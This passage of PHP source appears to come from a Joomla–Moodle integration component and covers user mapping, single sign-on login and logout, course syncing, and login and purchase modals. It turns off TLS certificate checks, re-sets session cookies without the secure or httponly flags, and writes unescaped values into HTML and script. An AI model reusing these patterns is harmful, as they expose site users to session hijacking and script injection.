      $query->from($db->quoteName('#__moojla_user_map'));
      $query->where($db->quoteName('jid') .' = '
. $db->quote($data['jid']));
      $query->where($db->quoteName('mid') .' =
0');
      $db->setQuery($query);
      $rowToDel = $db->loadResult(); 
      if($rowToDel)
      {
        $usermap = new MoojlaModelUser_map();
        $usermap->myDelete($rowToDel);
      }

      $query = $db->getQuery(true);
      $query->select('id');
      $query->from($db->quoteName('#__moojla_user_map'));
      $query->where($db->quoteName('mid') .' = '
. $db->quote($data['mid']));
      $query->where($db->quoteName('jid') .' =
0');
      $db->setQuery($query);
      $rowToDel = $db->loadResult(); 
      if($rowToDel)
      {
        $usermap = new MoojlaModelUser_map();
        $usermap->myDelete($rowToDel);
      }
    }
  }	

  public static function deleteFromUserMap($id){
    /*
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $conditions = array($db->quoteName('jid') . ' =
' . $db->quote($id));
     
$query->delete($db->quoteName('#__moojla_user_map'));
      $query->where($conditions);
      $db->setQuery($query);
      $result = $db->execute();
      */
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/user_map.php";
    $usermap = new MoojlaModelUser_map();
    $usermap->myDelete($id);

  }

  public static function joomlaToMoodleID($id){
    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName(array('mid')));
    $query->from($db->quoteName('#__moojla_user_map'));
    $query->where($db->quoteName('jid') . ' = ' .
$db->quote($id));
    $db->setQuery($query);
    $mid = $db->loadResult();
    return $mid;
  }

  public static function loginToJoomla($username, $password,
$from_moodle=0){
    $mainframe = JFactory::getApplication('site');
    $user_id = JUserHelper::getUserId($username);
    $user = JFactory::getUser($user_id);

    if (!$user)
      return false;

    if ($user->block)
      return false;

    $options = array ( 'remember' => '1',
'silent' => 1);
    $credentials = array ( 'username' => $username,
'password' => $password, "from_moodle" =>
$from_moodle);
    if ($mainframe->login( $credentials, $options ))
      return true;

    return false;
  }

  public static function logoutFromJoomla($username, $from_moodle=0){
    $mainframe	= JFactory::getApplication('site');
    $id			= JUserHelper::getUserId($username);
    $error		= $mainframe->logout($id, array ('clientid' =>
0, "from_moodle" => $from_moodle));
    $session	= JFactory::getSession();
    $sessid		= $session->getId();
    return $sessid;
  }

  public static function loginToMoodle($username, $token)
  {
    $params		= JComponentHelper::getParams('com_moojla');
    $moodle_url	= trim($params->get('moodle_url'));
    $moodle_cookie_path	=
trim($params->get('moodle_cookie_path'));
    $config		= JFactory::getConfig();
    $temppath	= $config->get('tmp_path');
    $file		= $temppath . "/" . JUserHelper::genRandomPassword() .
".txt";
    $postField = array ( 'username' => $username,
'token' => $token, "from_joomla" => 1);
    $curl = curl_init();
    curl_setopt_array($curl, array(
      CURLOPT_URL				=> $moodle_url .
"auth/moojla/loginHandler.php",
      CURLOPT_RETURNTRANSFER	=> true,
      CURLOPT_COOKIEJAR			=> $file,
      CURLOPT_HEADER			=> true,
      CURLOPT_SSL_VERIFYPEER	=> false,
      CURLOPT_SSL_VERIFYHOST	=> false,
      CURLOPT_CUSTOMREQUEST		=> "POST",
      CURLOPT_POSTFIELDS => $postField,

    ));

    $response			= curl_exec($curl);
    $error				= curl_error($curl);
    curl_close($curl);
    $output				= new stdClass();
    $output->response   = $response;
    $output->error      = $error;
    preg_match_all('/^Set-Cookie: (.*?); path=(.*)/m', $response,
$match);
          $cookie_options = array (
//          'path' => $moodle_url,
          'path' => $moodle_cookie_path,
//          'secure' => true,
          'secure' => false,
          'httponly' => false,
//          'samesite' => 'None'

      );
    foreach($match[1] as $key => $m)
    {
      $cookie = explode('=', $m);
      setcookie($cookie[0], $cookie[1], $cookie_options);
    }

    if (file_exists($file)) 
      unlink ($file);
    return $output;

  }

  public static function logoutFromMoodle($username){
    $app = JFactory::getApplication('site');
    $cookieName  = 'joomla_remember_me_' .
JUserHelper::getShortHashedUserAgent();
    if (!$app->input->cookie->get($cookieName))
    {
      $cookieName = JUserHelper::getShortHashedUserAgent();
    }
    $cookieValue = $app->input->cookie->get($cookieName);
    if ($cookieValue)
    {
      $cookieArray = explode('.', $cookieValue);
      $filter = new JFilterInput;
      $series = $filter->clean($cookieArray[1], 'ALNUM');
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $query
        ->delete('#__user_keys')
        ->where($db->quoteName('series') . ' = '
. $db->quote($series));
      $app->input->cookie->set(
        $cookieName,
        false,
        time() - 42000,
        $app->get('cookie_path', '/'),
        $app->get('cookie_domain')
      );
    }
    $params = JComponentHelper::getParams('com_moojla');
    $moodle_url	= trim($params->get('moodle_url'));
    $moodle_cookie_path=
trim($params->get('moodle_cookie_path'));
    //session_get_cookie_params
    unset($_SESSION['USER']);
    unset($_SESSION['SESSION']);
    $cookie_options = array (
          //'path' => $moodle_url,
          'path' => $moodle_cookie_path,
          //'secure' => true,
          'httponly' => false,
          //'samesite' => 'None',
          'expires'=> time() - 3600
      );
    setcookie('MoodleSession', '',$cookie_options);
    unset($_SESSION);
  }


  public static function changeObjectKey($object, $oldkey, $newkey)
  {
    if(isset($object->$oldkey))
    {
      $object->$newkey = $object->$oldkey;
      unset($object->$oldkey);
    }
    else{
      $object->$newkey = false;
    }

  }

  public static function getLoginUrl($return)
  {
    $loginUrl = 'index.php?option=com_users&view=login' .
($return ? ('&return=' . base64_encode($return)) :
'');
    return $loginUrl;
  }

  public static function updateCourseContents($sections, $courseid)
  {
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/section.php";
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/module.php";
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/content.php";
    require_once JPATH_ADMINISTRATOR .
"/components/com_moojla/models/module.php";
    foreach($sections as $section)
    {
      $db = JFactory::getDbo();
      $query = $db->getQuery(true);
      $query->select($db->quoteName(array('id')))
        ->from($db->quoteName('#__moojla_section'))
        ->where($db->quoteName('section_id') . ' =
' . $db->quote($section->id));
      $db->setQuery($query);
      $sectionResult = $db->loadResult();
      $sectionData = array(
        "courseid"	=> $courseid,
        "name"		=> $section->name,
        "section_id"	=> $section->id,
        "summary"		=> $section->summary,
        "visible"		=> $section->visible,
        "published"	=> $section->visible,
        "uservisible"	=> $section->uservisible
      );
      if($sectionResult)
      {
        $sectionData["id"] = $sectionResult; //for update
      }
      $sectionModel = new MoojlaModelsection;
      $sectionModel->save($sectionData);
      foreach($section->modules as $module)
      {
        $db = JFactory::getDbo();
        $query = $db->getQuery(true);
        $query->select($db->quoteName(array('id')))
          ->from($db->quoteName('#__moojla_module'))
          ->where($db->quoteName('module_id') . ' =
' . $db->quote($module->id));
        $db->setQuery($query);
        $moduleResult = $db->loadResult();

        $moduleData = array(
          "module_section_id"	=> $section->id,
          "name"				=> $module->name,
          "module_id"			=> $module->id,
          "description"			=> isset($module->description) ?
$module->description : "",
          "visible"				=> $module->visible,
          "published"			=> $module->visible,
          "uservisible"			=> $module->uservisible,
          "modname"				=> $module->modname,
          "url"					=> $module->url,
          "modicon"				=> $module->modicon,
        );
        if($moduleResult)
        {
          $moduleData["id"] = $moduleResult;
        }
        $moduleModel = new MoojlaModelmodule;
        $moduleModel->save($moduleData);

        if(isset($module->contents))
        {
          $contents = current($module->contents);
          $db = JFactory::getDbo();
          $query = $db->getQuery(true);
          $query->select($db->quoteName(array('id')))
            ->from($db->quoteName('#__moojla_content'))
            ->where($db->quoteName('contents_module_id') .
' = ' . $db->quote($module->id));
          $db->setQuery($query);
          $contentResult = $db->loadResult();

          $contentData = array(
            "contents_module_id"	=> $module->id,
            "type"				=> $contents->type,
            "filename"			=> isset($contents->filename) ?
$contents->filename : "",
            "filesize"			=> isset($contents->filesize) ?
$contents->filesize : 0,
            "fileurl"				=> isset($contents->fileurl) ?
$contents->fileurl : "",
            "mimetype"			=> isset($contents->mimetype) ?
$contents->mimetype : "",
          );
          if($contentResult)
          {
            $contentData["id"] = $contentResult;
          }
          $contentModel = new MoojlaModelcontent;
          $contentModel->save($contentData);

        }

      }
    }
  }

  public static function createButton($label, $id, $loginurl,
$registrationurl)
  {
    return "<input type='button'
class='moojla-login-button' id='moojla-start-modal'
value='".$label."'>
      <div id='moojla-modal'
class='moojla-login-modal'>
        <div class='moojla-login-modal-content animate'>
          <span id='logintabbtn'
class='modal_tab_button_login_registration
active_tab_login_registration'>
            ورود
          </span>
          <span id='regtabbtn'
class='modal_tab_button_login_registration'>
            ثبت نام
          </span>
          <div id='moojla-login-modal-content'
class='display_content_log_reg show_content'>
            <img
src='/components/com_moojla/assets/images/loading-modal.gif'
id='loadinggif'>
          </div>
          <div id='moojla-reg-modal-content'
class='display_content_log_reg'>
            <img
src='/components/com_moojla/assets/images/loading-modal.gif'
id='loadinggif'>
          </div>
        </div>
      </div>


      <script>
        loginbtn = jQuery('#logintabbtn');
        regbtn = jQuery('#regtabbtn');
        l = jQuery('#moojla-login-modal-content');
        r = jQuery('#moojla-reg-modal-content');
        var moojla_login_modal =
document.getElementById('moojla-modal');






        loginbtn.click(function(e){
          // l.show();
          // r.hide();
        });


        regbtn.click(function(e){
          // r.show();
          // l.hide();
          jQuery('#member-registration > div > div >
a').click(function(e) {
            moojla_login_modal.style.display = 'none';
            return false;
          });
        });

        window.onclick = function(event) {
          if (event.target == moojla_login_modal) {
            moojla_login_modal.style.display = 'none';
          }
        }

        document.getElementById('moojla-start-modal').onclick =
function() {
          moojla_login_modal.style.display ='block';
          l = jQuery('#moojla-login-modal-content');
         
l.load('".$loginurl."&return=".base64_encode('index.php?option=com_moojla&view=coursedetail&id='.$id)."',
function(){
            loadinggif = jQuery('#loadinggif');

            loadinggif.hide();
          });
          r = jQuery('#moojla-reg-modal-content');
         
r.load('".$registrationurl."&return=".base64_encode('index.php?option=com_moojla&view=coursedetail&id='.$id)."',
function(){
            loadinggif = jQuery('#loadinggif');
            loadinggif.hide();
            regform = jQuery('#member-registration');
            oldaction = regform[0].getAttribute('action')

            regform[0].setAttribute('action', oldaction +
'&return=' +
'".base64_encode('index.php?option=com_moojla&view=coursedetail&id='.$id)."')
          });


          // r.hide();
        }

        jQuery('#member-registration > div > div >
a').click(function(e) {
          moojla_login_modal.style.display = 'none';
          return false;
        });

      </script>";
  }
  public static function pageModal($btntitle, $courseid, $modid,
$pageheader, $content, $pagefooter)
  {
    $jid = JFactory::getUser()->id;
    $mid = MoojlaHelper::joomlaToMoodleID($jid);
    return "<style>
            /* The Modal (background) */
            .pageModal-$modid {
              display: none; /* Hidden by default */
              position: fixed; /* Stay in place */
              z-index: 10000; /* Sit on top */
              padding-top: 100px; /* Location of the box */
              left: 0;
              top: 0;
              width: 100%; /* Full width */
              height: 100%; /* Full height */
              overflow: auto; /* Enable scroll if needed */
              background-color: rgb(0,0,0); /* Fallback color */
              background-color: rgba(0,0,0,0.4); /* Black w/ opacity */
            }

            /* Modal Content */
            .pageModal-content-$modid {
              position: relative;
              background-color: #fefefe;
              margin: auto;
              padding: 0 20px;
              border: 1px solid #888;
              width: 80%;
              box-shadow: 0 4px 8px 0 rgba(0,0,0,0.2),0 6px 20px 0
rgba(0,0,0,0.19);
              -webkit-animation-name: animatetop;
              -webkit-animation-duration: 0.4s;
              animation-name: animatetop;
              animation-duration: 0.4s
            }

            /* Add Animation */
            @-webkit-keyframes animatetop {
              from {top:-300px; opacity:0} 
              to {top:0; opacity:1}
            }

            @keyframes animatetop {
              from {top:-300px; opacity:0}
              to {top:0; opacity:1}
            }

            /* The Close Button */
            .close {
              color: gray;
              float: right;
              font-size: 28px;
              font-weight: bold;
            }

            .close:hover,
            .close:focus {
              color: #000;
              text-decoration: none;
              cursor: pointer;
            }
			
			.lmskaran-closeModal {
				display: inline-flex;
				margin-top: 10px;
				cursor: pointer;
			}
			
			.lmskaran-closeModal > i {
				color: red;
				font-size: 30px;
			}

      </style>
      <!-- Trigger/Open The Modal -->
      <button id='page-$modid'>$btntitle</button>
      <!-- The Modal -->
      <div id='pageModal-$modid'
class='pageModal-$modid'>
        <!-- Modal content -->
        <div class='pageModal-content-$modid'>
          <div class='pageModal-header-$modid'>
            <div class='lmskaran-closeModal'><i
class='fas fa-times'></i></div>
            <h2>$pageheader</h2>
          </div>
          <div id='pageModal-body-$modid'
class='pageModal-body-$modid'>
            $content
          </div>
          <div class='pageModal-footer-$modid'>
            <h3>$pagefooter</h3>
          </div>
        </div>
      </div>
      <script>
      var span = document.getElementsByClassName('close')[0];
      document.getElementById('page-$modid').onclick = function()
{
        var content =
document.getElementById('pageModal-body-$modid');
        jQuery.ajax({
          url:
'/?option=com_moojla&view=coursedetail&task=coursedetail.getPageContent&pageid=$modid&courseid=$courseid',
        }).done(function(e){
			modal = document.getElementById('pageModal-$modid');
			content.innerHTML  = e;
			viewActivity($mid, $modid)
			modal.style.display = 'block';
        });
  
      }
      window.onclick = function(event) {
        if (event.target == modal) {
          modal.style.display = 'none';
        }
      }
						
      jQuery(document).ready(function($) {
				$('.lmskaran-closeModal').click(function() {
					modal.style.display = 'none';
				});
			});
      </script>";
  }

  public static function getCurrentPriceByProductCode($product_code) {
   
require_once(JPATH_ADMINISTRATOR.'/components/com_hikashop/helpers/helper.php'
);

    $db = JFactory::getDbo();
    $query = $db->getQuery(true);
    $query->select($db->quoteName('product_id'));
    $query->from($db->quoteName('#__hikashop_product'));
    $query->where($db->quoteName('product_code') . ' =
' . $db->quote($product_code));
    $query->where($db->quoteName('product_published') .
' = 1');
    $db->setQuery($query);
    $productid = $db->loadResult();
    // dump($query->__toString());

    if(!$productid)
      return 0;
    $user = JFactory::getUser();
    $productClass = hikashop_get('class.product');
    $product=$productClass->get($productid);
    $currencyClass = hikashop_get('class.currency');
    $config = hikashop_config();
    if(is_object($product))
    {
      $parent = $productClass->get($product->product_parent_id);
      if(!is_object($parent))
      {
        $parent = new stdClass;
        $parent->product_id = $product->product_parent_id;
      }
      $ids = array($product->product_id, $parent->product_id);
      $parent->variants = array($product);
      $p = $currencyClass->getPrices($product, $ids,
hikashop_getCurrency(), $config->get('main_currency'),
hikashop_getZone(), $config->get('discount_before_tax'));
      if(property_exists($product, 'prices'))
      {
        $prices = $product->prices;
        if(is_array($prices))
        {
          $price = current($prices);
          return $currencyClass->format($price->price_value_with_tax,
$price->price_currency_id);
        }
      }
      else
        return 0;
    }
    return 0;
  }
public static function newActionButton($course, $is_enrolled, $module=null,
$returnurl='', $moodleurl='')
  {
    $params = JComponentHelper::getParams('com_moojla');
    $sp = '-'; 
    $jsp = '_'; 
    $btn_index = $course->id.($module ? $sp.$module->id :
"");
    $elm_index = $course->id.($module ? $jsp.$module->id :
"");
    $moodle_url= $moodleurl ? $moodleurl :
trim($params->get('moodle_url'));

    $loginurl = trim($course->loginurl);
    if($loginurl == '')
    {
      $loginurl = trim($params->get('loginurl',
'index.php?option=com_users&task=login&tmpl=component'));
    }
    $loginurl = JRoute::_($loginurl, false);
    
    $showlogintab = $course->showlogintab;
    if($showlogintab == '' || $showlogintab == 2)
    {
      $showlogintab = $params->get('showlogintab', 1);
    }
    
    $showregtab = $course->showregtab;
    if($showregtab == '' || $showregtab == 2)
    {
      $showregtab = $params->get('showregtab', 1);
    }
    
    
    $registrationurl = trim($course->registrationurl);
    if($registrationurl == '')
    {
      $registrationurl = trim($params->get('registrationurl',
'index.php?option=com_users&view=registration&tmpl=component'));
    }
    $registrationurl = JRoute::_($registrationurl, false);

    $uri = JUri::getInstance(); 
    $returnurl = ($returnurl == '' ? $uri->toString() :
$returnurl);

    $returnurl = base64_encode($returnurl);
    if(trim($course->loginlbl) == '')
      $btnlbl = trim($params->get('loginlbl'));
    else
      $btnlbl = trim($course->loginlbl);

    $user = JFactory::getUser();     
    $is_enrolled = property_exists($course, "is_enrolled") ?
$course->is_enrolled : $is_enrolled;
    $self_enrolment = $course->self_enrolment;
    $guest = $course->guest;
    $cost = $course->cost;
    $remoteid = $course->remoteid;
    $courseid = $course->id;
    $btnclass = 'loginbtn';
    $html =
"<style>.moojla-login-modal{display:none;position:fixed;z-index:1000;left:0;top:0;width:100%;height:100%;overflow:auto;background-color:rgb(0,0,0);background-color:rgba(0,0,0,.4);padding-top:60px}.moojla-login-modal-content{background-color:#fefefe;margin:0
auto 15% auto;border:1px solid
#888;width:40%;border-radius:20px;padding-top:20px}.close{position:absolute;right:25px;top:0;color:#000;font-size:35px;font-weight:700}.close:hover,.close:focus{color:red;cursor:pointer}.animate{-webkit-animation:animatezoom
0.8s;animation:animatezoom 0.8s}@-webkit-keyframes
animatezoom{from{-webkit-transform:scale(0)}to{-webkit-transform:scale(1)}}@keyframes
animatezoom{from{transform:scale(0)}to{transform:scale(1)}}@media screen
and
(max-width:300px){span.psw{display:block;float:none}.cancelbtn{width:100%}}.moojla-login-modal-content{background-color:transparent;border:unset;width:40%}.moojla-login-modal{background-color:rgb(0
0 0 / 69%)}ul.nav.nav-tabs.nav-stacked li
a{color:#000;padding:20px}form.form-validate.form-horizontal.well{border-bottom:unset;background:#fff}.form-horizontal
.control-label{width:100%!important}.form-horizontal
.controls{margin-right:unset!important}</style>";
    if(!$user->id && $guest == 0)
    {
      $flag=true;
      $html .= "
            <a id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'><span
class='actionbtn-$btn_index' >$btnlbl</span></a>
            <div id='moojla-modal-$btn_index'
class='moojla-login-modal' >
              <div class='moojla-login-modal-content
animate'>".($showlogintab == 0 ? "" : 
                "<span id='logintabbtn-$btn_index'
class='active'>
                  ورود
                </span>
                <div
id='moojla-login-modal-content-$btn_index'>
                  <img
src='/components/com_moojla/assets/images/loading-modal.svg'
id='loadinggif-$btn_index'>
                </div>").($showregtab == 0 ? "" : 
                "<span id='regtabbtn-$btn_index'>
                  ثبت نام
                </span>
                <div id='moojla-reg-modal-content-$btn_index'
class='active'>
                  <img
src='/components/com_moojla/assets/images/loading-modal.svg'
id='loadinggif-$btn_index'>
                </div>").
              "</div>
            </div>
            <script>
              loginbtn$elm_index =
jQuery('#logintabbtn-$btn_index');
              regbtn$elm_index =
jQuery('#regtabbtn-$btn_index');
              l$elm_index =
jQuery('#moojla-login-modal-content-$btn_index');
              r$elm_index =
jQuery('#moojla-reg-modal-content-$btn_index');
              var moojla_login_modal$elm_index =
document.getElementById('moojla-modal-$btn_index');
              loginbtn$elm_index.click(function(e){
                l$elm_index.show();
                r$elm_index.hide();
              });
              regbtn$elm_index.click(function(e){
                r$elm_index.show();
                l$elm_index.hide();
                jQuery('#member-registration-$btn_index > div >
div > a').click(function(e) {
                  moojla_login_modal$elm_index.style.display =
'none';
                  return false;
                });
              });
             
document.getElementById('moojla-start-modal-$btn_index').onclick
= function() {
                moojla_login_modal$elm_index.style.display
='block';
                if(r$elm_index.hasClass('loaded')) {
                  r$elm_index.css('display', 'block');
                }
               
l$elm_index.load('$loginurl&return=$returnurl', function(){
                  loadinggif$elm_index =
jQuery('#loadinggif-$btn_index');
                  if(loadinggif$elm_index) {
                    loadinggif$elm_index.hide();
                    l$elm_index.addClass('loaded');
                  }
                });
               
r$elm_index.load('$registrationurl&return=$returnurl',
function(){
                  loadinggif$elm_index =
jQuery('#loadinggif-$btn_index');
                  if(loadinggif$elm_index) {
                    loadinggif$elm_index.hide();
                    r$elm_index.addClass('loaded');
                  }
                  regform$elm_index =
jQuery('#member-registration-$btn_index');
                  regf = regform$elm_index;
                  if(regf[0]) {
                    oldaction$elm_index =
regf[0].getAttribute('action')
                    regf[0].setAttribute('action',
oldaction$elm_index + '&return=' + '$returnurl')
                  }
                });
                // r$elm_index.hide();
                // l$elm_index.hide();
                ".($showlogintab == 0 ?
"l$elm_index.hide();" : "r$elm_index.hide();").
              "}
              jQuery('#member-registration-$btn_index > div >
div > a').click(function(e) {
                moojla_login_modal$elm_index.style.display =
'none';
                return false;
              });

              window.addEventListener('click', function(e){
                if(e.target == moojla_login_modal$elm_index) {
                  moojla_login_modal$elm_index.style.display =
'none';
                  l$elm_index.removeClass('hidden');
                  r$elm_index.removeClass('hidden');
                }
              });
            </script>

           
<style>/*div#moojla-login-modal-content-$btn_index{display:flex;justify-content:center;align-items:center;background:#fff;padding:10px}input#modlgn-passwd-$btn_index,input#modlgn-username-$btn_index{margin:unset!important}span#logintabbtn-$btn_index{background:#fff;padding:15px
20px;display:inline-flex;margin-left:10px;border-radius:10px 10px 0
0;cursor:pointer}span#regtabbtn-$btn_index{background:#fff;padding:15px
20px;border-radius:10px 10px 0
0;cursor:pointer}div#moojla-reg-modal-content-$btn_index{display:block;background:#fff}
*/</style>";

    }
    else
    {
      $flag = false;
      if($course->cangotomoodle == 2)
        $cangotomoodle = $params->get('cangotomoodle', 0);
      else
        $cangotomoodle = $course->cangotomoodle;

      if($is_enrolled)
      {
        if($cangotomoodle == 1)
        {
          $redirect_url = $moodle_url . 'course/view.php?id=' .
$remoteid;
          $flag = true;
        }
        else
        {
          $redirect_url = '#';
          $flag = false;
        }

        if(trim($course->enterlbl) == '')
          $label = trim($params->get('enterlbl'));
        else
          $label = trim($course->enterlbl);

        $btnclass = 'enterbtn';
        $html .= "<a id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'
href='$redirect_url'> <span class='actionbtn'
> $label </span> </a>";
      }
      elseif($guest == 1)
      {
        if($cangotomoodle == 1)
        {
          $redirect_url = $moodle_url . 'course/view.php?id=' .
$remoteid;
          $flag = true;
        }
        else
        {
          $redirect_url = '#';
          $flag = false;
        }

        if(trim($course->freeenterlbl) == '')
          $label = trim($params->get('freeenterlbl'));
        else
          $label = trim($course->freeenterlbl);

        $btnclass = 'freebtn';
        
        $html .= "<a id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'
href='$redirect_url'> <span class='actionbtn'
> $label </span> </a>";
      }
      else if($cost != 0)
      {
        if(trim($course->buylbl) == '')
          $label = trim($params->get('buylbl'));
        else
          $label = trim($course->buylbl);
        $btnclass = 'buybtn';
        $flag = true;
        $shop_integration =
trim($params->get('shop_integration'));
        if($shop_integration == '0')
        {
          $redirect_url =
JRoute::_('index.php?option=com_moojla&view=coursedetail&id='.$tcourse->id,
false);
          $app = JFactory::getApplication();
         
$app->enqueueMessage(JText::_('MOOJLA_NO_SHOP_INTEGRATION_SELECTED'));
// translate need
        }
        else if($shop_integration == 'hk') // hikashop
        {
          $db = JFactory::getDbo();
          $query = $db->getQuery(true);
          $query->select($db->quoteName('product_id'));
         
$query->from($db->quoteName('#__hikashop_product'));
          $query->where($db->quoteName('product_code') .
' = ' . $db->quote($remoteid));
          $db->setQuery($query);
          $product_id = $db->loadResult();
          $redirect_url =
JRoute::_('index.php?option=com_hikashop&ctrl=product&task=show&cid='
. $product_id, false); 
          // $html .= "<a
id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'
href='$redirect_url'> <span class='actionbtn'
> $label </span> </a>";
          $html .= "<a class='hikabtn hikacart'
rel='nofollow'
href='/index.php?option=com_hikashop&ctrl=product&task=updatecart&add=1&product_id=$product_id'
onclick='if(window.hikashop.addToCart){return
window.hikashop.addToCart(this);}'data-addtocart='$product_id'data-addto-class='add_in_progress'><span>$label</span></a>";
        }


      }
      elseif($self_enrolment)
      {
        $redirect_url =
JRoute::_('index.php?option=com_moojla&task=coursedetail.enrol&itemid='
. $courseid . '&type=self', false);
        if(trim($course->enrollbl) == '')
          $label = trim($params->get('enrollbl'));
        else
          $label = trim($course->enrollbl);
        $btnclass = 'enrolbtn';
        $flag = true;

        $html .= "<a id='moojla-start-modal-$btn_index'
class='moojla-login-button $btnclass'
href='$redirect_url'> <span class='actionbtn'
> $label </span> </a>";
      }

    }
    $css = "
          <style>

            /*login tab */
            #logintabbtn-$btn_index {
              position: absolute;
              right: 0px;
              top: -36px;
            }

            #regtabbtn-$btn_index {
              position: absolute;
              right: 70px;
              top: -36px;
            }

            #logintabbtn-$btn_index,#regtabbtn-$btn_index {
              background: #fff;
              padding: 15px 20px;
              border-radius: 10px 10px 0 0;
              cursor: pointer;
              font-size: 16px;
              font-weight:100;
              color: black;
            }

            .moojla-login-modal-content{
              position:relative;
            }



            /* preloader */
           
div#moojla-login-modal-content-$btn_index,div#moojla-reg-modal-content-$btn_index
{
              background: white;
              border-radius: 10px 0 10px 10px;
            }

             div#moojla-login-modal-content-$btn_index{
               display:flex;
               justify-content:center;
             }

            .customizedbyMJT {
              padding:10px 50px;
            }


            .moojla-login-modal-content{
              background-color: transparent;
              border: unset;
              width:40%;
            }

            .moojla-login-modal{
              background-color: rgb(0 0 0 / 69%);
            }

            input#modlgn-username,input#modlgn-passwd {
              margin: unset !important;
              width: 100%;
            }

            .input-prepend {
              width: 100%;
              display: flex !important;
            }

            .add-on [class^='icon-'], .add-on [class*='
icon-']{
              margin-left:unset !Important;
            }

            /*ul in tab login*/

            ul.nav.nav-tabs.nav-stacked li a {
              color: black;
              padding: 20px;
            }

            /* margin unset input */

            .form-horizontal .controls{
              margin-right:unset !important;
            }

            div#form-login-submit .controls {
              display: flex;
              justify-content: center;
              align-items: center;
            }

            div#form-login-submit .controls button{
              width: 30%;
              padding: 10px;
              font-size: 1rem;
              font-weight: 100;
              background: #3ea2e2;
            }

            #moojla-reg-modal-content #cbcheckedadminForm
#registrationTable{
              color:black;
            }

            ul#form-login-links {
              font-size: 15px;
              font-weight: 100;
              margin-bottom: unset;
            }

            ul#form-login-links li {
              text-align: right;
            }

            ul#form-login-links li a {
              color: black;
            }

            ul#form-login-links li a:hover {
              color: black;
            }

            #moojla-login-modal-content .image_head_modal_login {
              width: 100%;
            }

            div#form-login-remember {
              display: flex;
              align-items: center;
              flex-direction: row-reverse;
              justify-content: flex-end;
            }

            div#form-login-remember label {
              color: black;
              font-size: 15px;
              font-weight: 100;
              margin-right: 5px;
            }


            /*moojla modal*/
            #moojla-modal{
              cursor: auto;
            }

            @media screen and (max-width: 1200px) and (min-width: 768px){

              .moojla-login-modal-content{
                width:60%;
              }
            }

            @media screen and (max-width: 768px) and (min-width: 500px){

              .moojla-login-modal-content{
                width:80%;
              }
            }

            @media only screen and (max-width: 500px){

              .moojla-login-modal-content{
                width:99%;
              }

            }

            .lmskaran_reg_download > input{
                background-color: #4ece3d;
                border: unset;
             }
          </style>
        ";
    $html .=$css;
    return array($flag, $html); 
  }


  public static function fileActionButton(array $options, int $type)
  {
    /*
        type {
          1	-> Modal
          2	-> Embed
          3	-> Scrol to top
        */
    $src = $options["src"];
    $id = $options["id"];
    $name = $options["name"];
    $course = $options["course"];
    $mimetype = $options["mimetype"];
    $onclick = isset($options["onclick"]) ?
$options["onclick"] :
"location.href='$src'";
    $onclick = htmlspecialchars_decode($onclick);
    $tagname = "";
    $endigtag = "";
    $jid = JFactory::getUser()->id;
    $mid = MoojlaHelper::joomlaToMoodleID($jid);
    $params	= JComponentHelper::getParams('com_moojla');
    if($course->useglobalvideo == 1)
    {
      $preventdownload = $params->get('preventdownload', 0);
      $addcontrols = $params->get('addcontrols', 1);
      $preloadvideo = $params->get('preloadvideo', 0);
      $autoplay = $params->get('autoplay', 0);
      $muted = $params->get('muted', 0);
    }
    else
    {
      $preventdownload = $course->preventdownload ?
$course->preventdownload : 0;
      $addcontrols = $course->addcontrols ? $course->addcontrols :
1;
      $preloadvideo = $course->preloadvideo ? $course->preloadvideo :
0;
      $autoplay = $course->autoplay ? $course->autoplay : 0;
      $muted = $course->muted ? $course->muted : 0;
      $type = $course->videotype ? $course->videotype : $type;
    }


    switch($mimetype)
    {
      case 'video':
        $tagname = 'video';
        $endigtag = "</video>";
        break;
      case 'image':
        $tagname = 'img';
        break;
      case 'audio':
        $tagname = 'audio';      
        $endigtag = "</audio>";
        break;
    }
    if($tagname == "")
    {
      $src = $onclick ? "#" : $src;
      return "<a href='$src'
onclick='onClickFunction$id()' class='btn btn-primary
file-btn' id='file-btn-$id' >$name</a>
                <script>
                function onClickFunction$id(){
                    viewActivity($mid, $id);
                    $onclick;
                }
                </script>
                ";
    }
    if($tagname == 'audio')
    {
      $type = '2';
      $addcontrols = 1;

      if($course->useglobalaudio == 1)
      {
        $preventdownload =
$params->get('preventdownloadaudio', 0);
        $preloadvideo = $params->get('preloadaudio', 0);
        $autoplay = $params->get('autoplayaudio', 0);
      }
      else
      {
        $preventdownload = $course->preventdownloadaudio ?
$course->preventdownloadaudio : 0;
        $preloadvideo = $course->preloadaudio ? $course->preloadaudio
: 0;
        $autoplay = $course->autoplayaudio ? $course->autoplayaudio :
0;
      }
    }
    switch($type)
    {
      case 1:
        $html = "<button type='button' class='btn
btn-primary file-btn' id='file-btn-$id'
data-toggle='modal' data-src='$src'
data-target='#myModal-$id'>
            $name
            </button>
            <!-- Modal -->
            <div class='modal fade' id='myModal-$id'
tabindex='-1' role='dialog'
aria-labelledby='exampleModalLabel'
aria-hidden='true'>
              <div class='modal-dialog'
role='document'>
                <div class='modal-content'>
                  <div class='modal-body'>
                    <button type='button'
class='close' data-dismiss='modal'
aria-label='Close'>
                      <span
aria-hidden='true'>&times;</span>
                    </button>
                    <!-- 16:9 aspect ratio -->
                    <div class='embed-responsive
embed-responsive-16by9'>
                      <$tagname class='embed-responsive-item'
src='' 
                      id='modalfile-$id'
allowscriptaccess='always' allow='autoplay'
                      " . ($addcontrols ? 'controls' :
'') . 
                      " preload='" . ($preloadvideo ?
'true' : 'none') . 
                      "' " . ($muted ? 'muted' :
''). " " 
                      . ($preventdownload ?
'controlsList="nodownload"' : '') . 
                      " " 
                      . ($autoplay ? 'autoplay' : '') .
" >$endigtag
                    </div>
                  </div>
                </div>
              </div>
            </div>

          <script>
          jQuery(document).ready(function($) {
            // Gets the file src from the data-src on each button
            var fileSrc;
            $('#file-btn-$id').click(function() {
              fileSrc = $(this).data('src');
            });

            // when the modal is opened autoplay it  
            $('#myModal-$id').on('shown.bs.modal',
function(e) {
              // set the file src to autoplay and not to show related file.
Youtube related file is like a box of chocolates... you never know what
